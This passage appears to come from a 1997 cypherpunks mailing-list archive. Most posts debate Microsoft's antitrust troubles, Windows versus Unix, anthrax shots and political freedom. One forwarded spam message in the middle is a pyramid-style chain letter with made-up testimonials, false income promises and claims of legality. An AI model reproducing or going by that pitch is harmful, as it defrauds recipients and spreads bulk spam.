box.  In fact, your press conference would have real pinache if, in 
fact, you put someone's 72-year old grandmother before a PC with an 
empty disk drive, run the install, then type a short letter on the 
fancy word processer, addressed to Bill G., with the message "Up 
yours!"

By attacking Bill G. from the flank in this matter, you may possibly 
take his mind off his successful campaign to own the Internet.  I 
admire BillG, really.  He was rather late in anticipating how a 
network developed largely by universities and their students could be 
a medium that intruded upon the everyday world, and yet despite the 
efforts of well-meaning individuals and not-for-profit groups to keep 
the Internet from being owned, Bill G. just has too much savvy not to 
be able to own the important parts of the Internet too--not the 
cables and wires, of course, but the content as well as the software 
that drives it. And soon.  (Look for the next version of TCPIP, if it 
is called that, to be a copyright of Microsoft.  After all, Microsoft 
has its roots in writing OSes.)

Mitch Halloran
Research (Bio)chemist
Duzen Laboratories Group
Ankara   TURKEY
mitch at duzen.com.tr

other job title:  Sequoia's (dob 12-20-95) daddy

Mitch Halloran
Research (Bio)chemist
Duzen Laboratories Group
Ankara   TURKEY
mitch at duzen.com.tr

other job title:  Sequoia's (dob 12-20-95) daddy






From frantz at netcom.com  Sun Dec 21 23:54:41 1997
From: frantz at netcom.com (Bill Frantz)
Date: Mon, 22 Dec 1997 15:54:41 +0800
Subject: Why I Support Microsoft
In-Reply-To: <19971220.051132.attila@hun.org>
Message-ID: 



At 9:38 AM -0800 12/21/97, Tim May wrote:
>Anyway, the recent government actions against Microsoft are reprehensible
>to any person who values liberty. Microsoft is being punished for its
>success.

What I find most ironic about the whole Government/Microsoft thing it the
role the government had in helping Microsoft achieve its current market
position.  Early in the days of the IBM/PC, the government, along with many
major corporations, decided that the only desk top computers they bought
would be PCs.  There were many arguments about how they would save money by
having only one kind of system to support, and how by having multiple
suppliers, they would be able to buy hardware at competitive prices.

Well, one for two isn't bad.  The hardware is competitively priced.
However, the support costs are probably higher than competing systems (e.g.
Macintosh).

What was left out of the analysis was the cost of the software.  The OS is
considerably more expensive than e.g. Linux.  (And it is a hidden cost,
bundled in with the hardware cost.)  Then there is the cost of being held
by the balls by a single company.

Now the government could rectify some of the damage they helped cause by
doing the same thing any other computer purchaser can do.  Specify
non-Microsoft products.  Require special internal justification to purchase
a Microsoft product.  Require all systems to use open (e.g. IETF)
standards.  Ensure that there are several viable suppliers in all phases of
the market by buying from all of them.  Instead, they try to hobble
Microsoft.

I must admit to a guilty pleasure.  It couldn't happen to two nicer
organizations.  The Department of Justice and Microsoft.  It's almost the
same guilty pleasure I felt in watching the Iran-Iraq war.  They waste each
other's resources reducing their danger to the rest of us.  The only fly in
the ointment is that I am paying for one side of this war.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz at netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA







From steve at xemacs.org  Mon Dec 22 00:30:33 1997
From: steve at xemacs.org (SL Baur)
Date: Mon, 22 Dec 1997 16:30:33 +0800
Subject: Coercive Monopolism vs Wimpyness
In-Reply-To: <3.0.32.19971221183650.006b719c@cnw.com>
Message-ID: 



Blanc  writes:

> And, since Windows OS is so pitifully lousy, why do people continue to buy
> it, even without the computer attached;  why do they continue to upgrade,
> even if it's so slow and bloated?   Don't they realize Unix is better?
> Don't they realize they're just making Billg richer?

Unix *is* far better and had the technology decades ago.

I don't agree with the US DOJ proceedings, but tell me why I have
disks full of software for my video card (amply covered by XFree86),
my sound card (amply covered by Linux drivers and Free utilities),
etc. etc. that I cannot use?

I danced through hoops to specifically avoid buying anything Microsoft 
and I still got stuck with a bunch of crap I won't ever use.

Where can I get a laptop without a pre-installed O/S (or with Linux
pre-installed) on it?

I think Microsoft is guilty as sin for monopolistic practices, but not
for what they're being charged for (unfortunately).






From tcmay at got.net  Mon Dec 22 00:31:59 1997
From: tcmay at got.net (Tim May)
Date: Mon, 22 Dec 1997 16:31:59 +0800
Subject: Get your Anthrax shots
In-Reply-To: 
Message-ID: 



At 11:25 PM -0700 12/21/97, Lucky Green wrote:
>Those of you in urban soft target areas, expecially any of you living or
>working in DC or NYC, may want to consider getting vaccinated against
>Anthrax. It might come in handy before long.
>
>>From an US Army (?) press release:
>| The immunizations, requiring six shots over 18 months followed by annual
>| booster shots, will begin next summer with 100,000 American troops in
>the
>| Gulf region and Korean peninsula.

I thought these shots were "For Government Use Only."

Seems like more and more things are being declared For Law Enforcement Use
Only (causing we peons to have to pay more in the black markets and gun
shows for the Good Stuff).

Seriously, I'd guess that anyone showing up a doctor's office asking for an
Anthrax series is pretty much guaranteeing they'll be reported to the
Security Services.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From sdh at crafti.com.au  Mon Dec 22 00:50:49 1997
From: sdh at crafti.com.au (David Magnay)
Date: Mon, 22 Dec 1997 16:50:49 +0800
Subject: FCPUNX:Freedom Forum report on the State of the First Amendm
In-Reply-To: <199712200009.TAA26091@beast.brainlink.com>
Message-ID: <199712220844.TAA27568@crafti.com.au>



On 19 Dec 97 at 11:58, Jim Burnes wrote:
> 
> On Fri, 19 Dec 1997, David Honig wrote:  ...
> 
> > If one ever questions this in public, as Tim did, the liberal response
> > is to show that unPC 'discrimination' is possible if humans are free,
> > and then the dutiful citizen gladly sacrifices employers' liberty for
> > their warm and fuzzy feelings.  The first amendment is about what
> > government can't do to you, not what your  neighbor can or can't do. 
> 
> Yeah.  The real question is what humans are free to do.  The freedom
> to do something is also the freedom *not* to do something.  The
> freedom to conduct a transaction (employing someone) must also be
> the freedom not to conduct that transaction because the transaction
> is voluntary.
>

Who said humans are free ? Which page is that written on ? Ooops, 
lost my copy. Your version must be wrong. Probably a spelling error.

The _real_ question is HOW to determine what humans are 
free to do. Without a common acceptance of right, wrong and 
definition of freedom, it only comes from the sharp end of a gun. 
Just having a cosy chinwag in Congress, the UN or the European 
Parliament and agreeing on a code of conduct is not enuf if it is not 
accepted by the active parties.

Many people sqeal about rights (and wrongs) but they are only right 
or wrong by some measure. If your enemy has a different measure, or
refuses to accept your right/wrong criteria, you are stuffed.

For some people, that measure is the US Constitution, for others the 
Universal Declaration of Human Rights, etc. However, all of these are 
only ARBITRARY agreements on commonly accepted points of view. If I 
disagree, they are absolutely worthless.

So, but unless you stop me, I'll play by MY set of rules. If I want 
Kuwait, I'll take it. If I  want Grenada, Chekoslovakia, Afghanistan 
or the Marshall Islands, I'll just take it. If I want to tap your 
phone, monitor your Bank account or stamp your licence with 666, I'll 
do it

Oh buts that wrong, u cant do that. Well, who says I cant. You ?? 
Laugh..laugh..laugh. Where does it say that. Did God tell you ? Prove 
it then. No, well POQ.

So if we have a Government OF the people, BY the poeple, FOR the 
people, we may have a chance of getting somewhere. (Oh well, we can 
always hope)

DM
---------------------------
David Magnay
email: sdh at crafti.com.au
---------------------------






From bill.stewart at pobox.com  Mon Dec 22 01:53:44 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Mon, 22 Dec 1997 17:53:44 +0800
Subject: Frank Olson
In-Reply-To: <01bd0d9e$6ed6b2c0$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: <3.0.3.32.19971222014649.0069a4a4@popd.ix.netcom.com>



At 03:24 PM 12/20/1997 -0800, Bruce Balden wrote:
>At that time, snail mail was pretty safe even from the spooks (with certain
>precautions). So what's your point?  If the military-industrial complex
>wants to ruin your life, it's the guns and fences and dogs that ultimately
>tell the story, cause your unbreakable cipher to be compromised yourself
>under truth drugs, etc.  The bureaucractic mess surrounding key recovery
>would probably make most spooks look for much more low-tech methods of
>compromising your security.

I won't comment on the truth or bogosity of the story, 
but as far as snail mail goes, US mail at least into the early 60s
was cheaper if you left the envelopes unsealed (like 4c vs. 5c.)
I got the impression it was a leftover from wartime censorship.

And email to some foreign destinations was inherently suspicious -
like Swiss banks.  I once knew a guy who used a remailer for his
mail to his bank - he'd mail it to Raoul at the Tijuana post office,
who'd take the cash and mail the inner envelope to the bank.

Mail covers have been legal for a long time as well -
as with pen registers on phones, they don't need a warrant to
track your traffic.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From anon at squirrel.owl.de  Mon Dec 22 01:58:49 1997
From: anon at squirrel.owl.de (Secret Squirrel)
Date: Mon, 22 Dec 1997 17:58:49 +0800
Subject: Coercive Monopolism vs Wimpyness
Message-ID: <713df006e49f70c246e313026b68041a@squirrel>



>And, since Windows OS is so pitifully lousy, why do people continue to buy
>it, even without the computer attached;  why do they continue to upgrade,
>even if it's so slow and bloated?   Don't they realize Unix is better?
>Don't they realize they're just making Billg richer?

I use Linux primarily. People still buy Winblows for the same reasons I
bought Winblows 95.

Want to play a game from the store? Windows 95.

Want to install a new image in your Flash RAM on your motherboard? DOS
(Windows 95).

Want to have vendor-produced drivers? Windows 95.

Want to parse MS Turd documents? Windows 95 and MS Office.

Want to use a Windows-specific bullshit class registration system at your
university? Windows 95.

Want to run that program your mother sends you and wants you to run? She
uses Windows 95 because it was preinstalled on her machine, so you must use
Windows 95 too.

Some kind of bizarre hardware which the manufactuers won't release specs
for? (The AWE32 is a good example. Eventually somebody got pissed and
reverse engineered it.) Windows 95.

Happened to buy a printer? It won't say "Yes! It works with Ghostscript!" In
fact it won't say anything about hardware compatability. It'll just say
"Windows drivers included" along with a list of a bunch of software that I
don't want and don't need. So if it happens that the printer is
nonstandard...Windows 95.

Have a bunch of people in the office who don't care about platform
compatability and pass around Windows-specific document types or programs?
Windows 95.

Have a bunch of people in the office who, simply because Windows and
sometimes MacOS are taught as "computer education" in many universities and
public schools can't use anything else? Windows 95.

Have to use a university computer lab? The machines are probably running
Windows 95. So you wind up with an incentive to use Windows 95 elsewhere.
So...again, Windows 95.

Want to have a working copy of PGP 5.0 while everybody else has started
sending out DH-encrypted/signed messages and rolled DH keys? Windows 95.
(Yeah, yeah. The source was released in book form.)

This goes on and on and on. Sure there are counter arguments for these but
it gets real touchy real quick. Ever try to pressure a game company into
releasing Linux versions? Ever try to pressure an applications company to
release Linux versions? 

Explanation and analysis:

Microsoft spends millions on marketting. Linux, BSD, et al. simply don't
have a massive marketting machine. The PC rags and TV shows like CNet are
supported by Windows applications, Windows games, Microsoft, and
platform-specific web sites. 

Microsoft has no qualms about outright lying in its marketting material.
Look at the messages which display during Windows 95 installation for a good
example. "What you want to do, and more, is now possible." Yeah. What if I
want to have a decent telnet client? What if I want to have tons of free
software? They don't qualify the statement, yet the Microsoft lackies think
that Microsoft would never lie and it must be true.

The Windows interface is "point and drool." This has the effect of
attracting every lazy person possible. I say "lazy" because it's basically
no work to remember "rm" rather than "left click and drag to the recycle
bin." These people don't know how *anything* works on even the most basic
level. The Linux/BSD/whatever developers aren't going to make an interface
like that because they're competent, aren't trying to make money, don't want
to cripple their platform with it, and they don't necessarily want to
attract these people. Generally speaking, as "da web" has proven, if it
takes no brains to use something people with no brain will be attracted to
it in great numbers.

Microsoft, their friends, and some of their enemies did everything they
possibly could to break the web. HTML was designed as a relatively simple,
platform independant method of storing information. The idea was that you
could go throw in an image, but it was supposed to *augment* the message,
not *be* the message. And regardless of what you did the page was supposed
to be viewable from a text terminal. 

Netscape started by adding non-standard extensions to HTML, in effect
encouraging people to make Netscape-specific web pages. Netscape Gold and
other "web page designers" encourage people to release platform-specific web
pages -- they *should* throw an error if somebody puts in an unnamed link.
Then of course we had stuff like server-side image maps. And we have pages
with frames which are impossible to correctly display in a text mode, and
which bitch and moan and suggest you download Microsoft Internet Explorer or
Netscape Navigator/Communicator to read it. And I've seen pages which are
nothing but graphics files -- but hey, they're okay because they display
correctly in MSIE or Netscape.

Microsoft continues its little jihad by perverting Java, which is supposed
to be another platform-independant language, into a Windows-specific
language. While they were at it both Microsoft and Netscape decided to start
slinging HTML and nonstandard MIME types all over email and news postings.

When you buy a prebuilt computer in most cases you don't have a choice. You
have to get Windows 95, MSIE, and whatever other crap they decide to pile
on. Normally this wouldn't be a problem and you would just go to another
vendor but just about every single vendor is like this. 

When you buy hardware you pay for all sorts of Windows software. So now you
have all kinds of (bad) Windows software, so there's another reason to
use Windows. Microsoft knows this. For example, when you buy a scanner you
get Windows software for it, absolutely no design specs, no compatability
list, and in many cases they flat-out *won't* release design specs. 

When you call for technical support many (most?) places tell you to do
something like this: "Okay. Go click on the 'My Computer' icon--" "Uh, I run
Linux." "Uh, we don't support that." (Hint: It was a *hardware* problem,
*not* a software problem, but go boot up into Windows just so we know it was
broken. Oh, and you better have the latest version because that's all we
support.)

Many vendors only release drivers for whatever the latest and greatest
version of Winblows is going to be. Windows 3.1 drivers are starting to get
scarce. DOS drivers are basically nonexistant. Say, for instance, you
purchase or receive Windows NT Workstation 4.0. You then go out and buy an
AWE64. Creative Labs has stated that they aren't releasing a decent AWE64
driver for NT 4.0, but instead are targetting it at NT 5.0.

Compare this with the UNIX world where, for the most part, things are
platform independant and people like platform compatability. Most of the
time I can run something on Linux which I can run on BSD which I can run on
SunOS, etc.






From coufuojee82 at juno.com  Mon Dec 22 18:07:11 1997
From: coufuojee82 at juno.com (Nortela)
Date: Mon, 22 Dec 1997 18:07:11 -0800 (PST)
Subject: heres your free web site!
Message-ID: <199712221397AAA37128@23183453r49k8341209O.ease.lsoft.com>


This is a "ONE-TIME MESSAGE"  you were randomly selected to receive this. 
You will be automatically deleted from this mailing list. ONLY REPLIES WILL BE KEPT. There is no need to reply to remove, you will receive no further mailings from us.
NEW IMPROVED with FREE internet  software!   FREE bulk e mail system, two FREE web sites to use as you wish! (free space 2 - 6 K) one of your Free web sites is in this letter!, ongoing support (optional), and a lot, lot  more! all included!, this, all when you order all four reports. That's worth $20 dollars alone ! PLUS act now and you will recived via e mail from 50,000 To-1000,000 !!! FREE filtered E-MAiL addresses!.     ALL FOR YOU! This is not a pyramid! This is NOT a chain letter, and I did not send this in the post office mail!  there is product, support, news letters and more! This is new and revised! ALL via e mail!
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
you  are about to make at least $50,000 USD In about 90 days or less!
Read the enclosed program...then read it again...then print it out to review.
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Dear friend,
The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen
financial problems.  I owed my family, friends, and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow
against my home to support my family and struggling business.  I truly
believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '92 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. 
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to start, without putting me further in debt.  After I got a
pencil and paper and figured it out, I would at least get my money
back.  After determining that the program is LEGAL and NOT A CHAIN
LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need
any money for printing to send out the program, only the cost to
fulfill my orders.  I am telling you like it is, I hope it doesn't
turn you off, but I promised myself that I would not "rip-off" anyone,
no matter how much money it cost me!.

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you
read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in  90 days was done.  By January 30th, I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100
OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 19th, of my emailing of 10,000 packets, I received $58,000 with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! Remember,  it wont work  if you don't try it.  This program
does work, but you must follow it EXACTLY!  Especially the rules of
not trying to place your name in a different place.  It doesn't work,
you'll lose out on a  lot  of  money!  REPORT  #2  explains this. 
Always follow the guarantee, 20  orders  for REPORT #1, and 100
or more orders for REPORT #2 and you will make  $50,000 or more in about 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It
really is a great opportunity with little cost or risk to you.  If you
choose to participate, follow the program and you will be on your way
to financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!
                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like
piled up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free
lunch in life.  You get out of life what you put into it.'  Through
trial and error and a somewhat slow frustrating start, I finally
figured it out. The program works very well, I just had to find the
right target group of people to email it to.  So far this year, I have
made over $63,000 using this program.  I know my dad would have been
very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business
for ten years.  Then in 1979 my business began falling off.  I was
doing the same things that were previously successful for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and recession had replaced the stable economy that
had been with us since 1945.  I don't have to tell you what happened
to the unemployment rate...because many of you know from first hand
experience. There were more failures and bankruptcies than ever
before.

The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US
and overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works exceedingly well as it is now.  Remember to email a copy of this exciting program to everyone that you can think of.  One of
the people you send this to may send out 50,000...and your name will
be on every one of them!.  Remember though, the more you send out, the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did,
take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil
and figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested. 
Any doubts you have will vanish when your first orders come in.  IT
WORKS!
                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 20,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 20,000.  But
continuing with this example, you send out only 20,000 programs.  With
a .5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 20,000 programs each for a total of 200,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 20,000 programs each for a total of 2000,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 20,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT
100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe me, many people will do that and more!  By the way, your cost to participate in this is practically nothing.  You obviously already have an internet
connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE,NOW VERY LEGAL, MONEY MAKING OPPORTUNITY.  It does not require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being taught in the Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the US, 20% (100,000) made
their fortune in the last several years in MLM.  Moreover, statistics
show 45 people become millionaires everyday through Multi-Level
Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could use $50,000 to $125,000 in the next 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a NOW perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You do it privately in your own home, store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a
           SELF- ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10)                    to the person listed for the SPECIFIC REPORT. International            
           orders should also include $2 extra for postage. It is
           essential that you specify the NAME and NUMBER of the
           report requested to the person you are ordering from.  You
           will need ALL FOUR 4 REPORTS because you will be REPRINTING
           and RESELLING them. DO NOT alter the names or sequence
           other than what the instructions say.  IMPORTANT:  Always
           provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will
           tell you the best methods of bulk emailing and acquiring
           email lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can
           encourage them to take  advantage of this  fabulous 
           money-making opportunity.  That's what I did.  And they
           love me now, more than ever.  Then, email to anyone and
           everyone!  Use your imagination!  You can get email
           addresses from companies on the internet who specialize in
           email mailing lists.  These are very cheap, 100,000
           addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 USD CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
(International orders should also include $2 USD extra for postage) 
Add your e amil address when sending in for your report this is for 
updated information and continueing support (optional) that will 
be handed down by your sponcers pipeline.
______________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
A. Siegmund #57
Trakehnenstr. 13
53332 Bornheim, Germany


______________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
J. Maze
15774 S. Lagrange Rd
Suite #312
Orland Pk, IL 60462
USA
________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

B. Thompson
13504 Greencaslte ridge Tr.  404
Burtonsville MD. 20866
USA
______________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

MUW #2
PO BOX 71442
SALT LAKE CITY, UT 84171-0442
USA
______________________________________________________
CONCLUSION
One of your free web sites can be registered at http://www.freeyellow.com/
.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation. 
                                                                                                                                                                                                                                                                                                                                                                                    				


----------------------- Headers --------------------------------
Return-Path: 
Received: from  relay01.mail.aol.com (relay01.mail.aol.com [172.31.106.125]) by air21.mail.aol.com (v37.8) with SMTP; Mon, 22 Dec 1997 12:34:39 -0500
Received: from bonaly.hw.ac.uk (bonaly.hw.ac.uk [137.195.151.5])
	  by relay01.mail.aol.com (8.8.5/8.8.5/AOL-4.0.0)
	  with SMTP id MAA09338;
	  Mon, 22 Dec 1997 12:29:50 -0500 (EST)
Date: Mon, 22 Dec 1997 12:29:50 -0500 (EST)
From: ziaza99 at sh.hit.no
Received: from 007 (sdn-ts-047mdrelRP11.dialsprint.net) by bonaly.hw.ac.uk (MX
          V4.2 AXP) with SMTP; Mon, 22 Dec 1997 17:29:48 +0000 (GMT)
To: ziaza99 at sh.hit.no
Comments: Authenticated sender is 
Subject:free web site
Message-ID: <19971222246ZAA24605 at theman.hw.ac.uk>
							













































																															                                                        
-






























From frissell at panix.com  Mon Dec 22 02:37:39 1997
From: frissell at panix.com (frissell at panix.com)
Date: Mon, 22 Dec 1997 18:37:39 +0800
Subject: Why I Support Microsoft
In-Reply-To: <1.5.4.32.19971221205217.00741904@pop.pipeline.com>
Message-ID: <3.0.2.32.19971222053134.038305f0@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 01:18 PM 12/21/97 -0700, Tim May wrote:

>Giving Clinton the cold shoulder was Intel. (Having worked for Craig
>Barrett and Andy Grove, I can tell you that they despise the Democrats.)
>
>Though not on the radar screen quite yet, I expect the real action will be
>targetted against Intel. Particularly if it looks like the Merced will
>effectively displace all mainframe and business-sized CPUs.

Bill Gates is in trouble because he is a squishy liberal and didn't know how 
to handle the Feds.

If the AntiTrust boys had gone after a company headed by someone who was 
aware of the nature of government (TJ Rogers of Cypress Semi par example), he 
would have just litigated the matter for 15 years or so and then when the 
decision came down it would be irrelevant no matter what it was.  What is the 
significance of a legal decision involving 15-year-old software?  But Bill 
didn't do that.  He signed the Consent Decree.  He thought that if one pays 
the Danegeld the Dane will stop bothering you.  It doesn't work that way.  
You sign an AntiTrust consent decree and you have the Feds beating you over 
the head with it for years.  [Ask the Great Atlantic and Pacific Tea Company 
which signed one in the 50's and almost ceased trading.]

Don't deal.  Litigate.  Much cheaper.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJ5BhIVO4r4sgSPhAQEX9AP/dk/HxRPfQgKaDLKxtbTJGqtWas7FILec
hf4EaUM/9IYG0ixF0Y42hj3uHLk1IV0n+nVxGxLlfuSjl1Jm78GUzoD/z3cdlXTv
dvfMtPsMCb6NQfHbZ7tzNQAXhVcXZgM4Op5HoZgGsMHFoHc8PqRoxZ8rhuaKh9tu
E5s16iQENHY=
=4wWl
-----END PGP SIGNATURE-----






From dformosa at st.nepean.uws.edu.au  Mon Dec 22 04:12:43 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Mon, 22 Dec 1997 20:12:43 +0800
Subject: Disection of Politics
In-Reply-To: <349D9A75.735D@TranSeed.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 21 Dec 1997, Douglas Decicco wrote:

> There is that word "FREE" which has a scope similar to the
